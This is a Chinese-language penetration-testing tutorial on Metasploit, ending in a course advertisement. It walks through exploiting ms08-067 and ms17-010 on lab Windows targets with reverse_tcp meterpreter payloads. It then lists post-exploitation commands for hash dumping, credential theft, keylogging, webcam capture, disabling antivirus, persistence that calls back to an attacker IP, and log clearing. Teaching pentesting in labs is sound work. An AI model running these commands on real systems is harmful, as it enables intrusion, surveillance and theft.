点击上方蓝字关注我们
The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。
开源项目地址:https://github.com/rapid7/metasploit-framework
路径: /usr/share/metasploit-framework/
exploits(渗透攻击/漏洞利用模块)
渗透攻击模块
是Metasploit框架中最核心的功能组件。攻击载荷
是期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: 一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。
规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。
输入msfconsole进入ms终端,启动Metasploit
命令 | 功能 |
---|---|
msfdb init | msf数据库初始化 |
msfdb delete | 删除msf数据库并停止使用 |
msfdb start | 启动msf数据库 |
msfdb stop | 停止msf数据库 |
apt install metasploit framework | msf更新 |
msfvenom | 多平台攻击载荷生成器 |
msf-nasm_ shell | 将汇编指令转换成为对应的16进制机器码 |
msfconsole | 打开msf终端 |
在msf终端下,输入?或help,可查看终端命令集
命令 | 功能 |
---|---|
db_ status | 查看msf数据库连接状态 |
db_ nmap | 调用nmap扫描,并将扫描结果存入数据库 |
search | 搜索含有关键字的模块 |
use | 选择使用- -个模块 |
show payload | 显示该模块支持的payload |
show options | 显示该模块需要设置的参数 |
info | 查看详细信息 |
set | 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值 |
back | 返回.上级状态 |
exploit/run | 两个命令都表示运行攻击模块 |
sessions | 查看当前连接的会话 |
数量大,分布广泛 漏洞危害等级高
缓冲区溢出
、Web应用程序漏洞攻击
、用户配置错误
等多种攻击方法。其中缓冲区溢出攻击方法数量最多,总的来说可分为两大类,即主动溢出
和被动溢出
。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。操作机:Kali Linux 2021.1, Metasploit Frameworks 6.0.30 目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版
此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows2000、Windows XP和Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。
步骤1:对目标机进行漏洞扫描,确认其存在ms08-067漏洞。本例中使用Nmap工具的以下命令对目标进行专项漏洞检测:
nmap --script smb-vuln-ms08-067.nse 192.168.147.144
** 步骤2 启动metasploit**
msfdb init && msfconsole
** 步骤3:在msf终端下输入以下命令查找ms08-067相关模块:**
search ms08-067
** 步骤4:use exp**
** 步骤5:更改相应参数**
show options 查看可选参数
set RHOST 设置目标ip
set payload windows/meterpreter/reverse_tcp //设置payload
步骤6:执行攻击
exploit
溢出攻击执行成功后,会显示meterpreter的提示符(因为步骤8在设置payload时选择了windows/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell。
search ms17-010
run 检测结果为目标机具有ms17-010漏洞(vulnerable)
run 攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell.
运行了exploit命令之后,开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。
运行成功之后,将会看到命令提示符 meterpreter 出现,输入:shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,只需输入:exit
要想从 meterpreter 退出到MSF框架,输入:background
输入 sessions -l 查看获得的shell
输入 sessions -i 1 即可切换到id为1的shell
在meterpreter > 中可以使用以下的命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
reverse_ tcp:攻击机设置一个端口(LPORT) 和IP (LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。victim_ IP:xxxx -> attacker. IP:4444
bind_ tcp:攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。
attacker_ IP:xXXx -> victim_ IP:4444
主要功能:执行扫描
、嗅探
、指纹识别
等相关功能以辅助渗透测试。与exploits模块的区别:
/usr/share/metasploit-framework/modules/auxiliary
Metasploit V4之后的新版本中,meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。
涉及范围:信息收集、口令攫取、权限提升、内网拓展等。
命令 | 功能 |
---|---|
pwd | 打印当前工作目录 |
sysinfo | 查看系统信息 |
getuid | 获取当前权限的用户id |
ps | 查看 当前目标机上运行的进程列表和pid |
getsystem | 获取system权限 |
screenshot | 截取目标主机当前屏幕 |
hashdump | 获取用户名与hash口令 |
shell | 获取目标主机shell |
upload | 上传一一个文件 |
execute | 执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口) |
clearev | 清除日志 |
background | 将meterpreter放入后台(使用sessions -i重新连接到会话) |
该命令对目标机进行截屏,并将截屏图片保存至/root目录
非常重要的命令,可获取系统的shell控制台
该脚本可以往目标机上传一个vnc agent,用以查看目标机的屏幕
该脚本可以检测所在局域网中的存活主机。
该脚本可以列举目标系统信息,包括攫取用户名和密码、下载全部注册表、挖掘密码hash值、输出HKEY_ CURRENT_ USER (HKCU)等。
该脚本允许在目标机注入meterpreter代理,以确保系统重启之后meterpreter还能运行。
该脚本用于开启目标机的远程桌面服务,使用前需要先运行getsystem命令获取系统权限。
开启远程桌面成功后,可以在kali终端使用“rdesktop 目标IP”远程连接目标机
重要的脚本,可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。
[0]参考文章:https://blog.csdn.net/weixin_59872639/article/details/122500321
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
活动优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看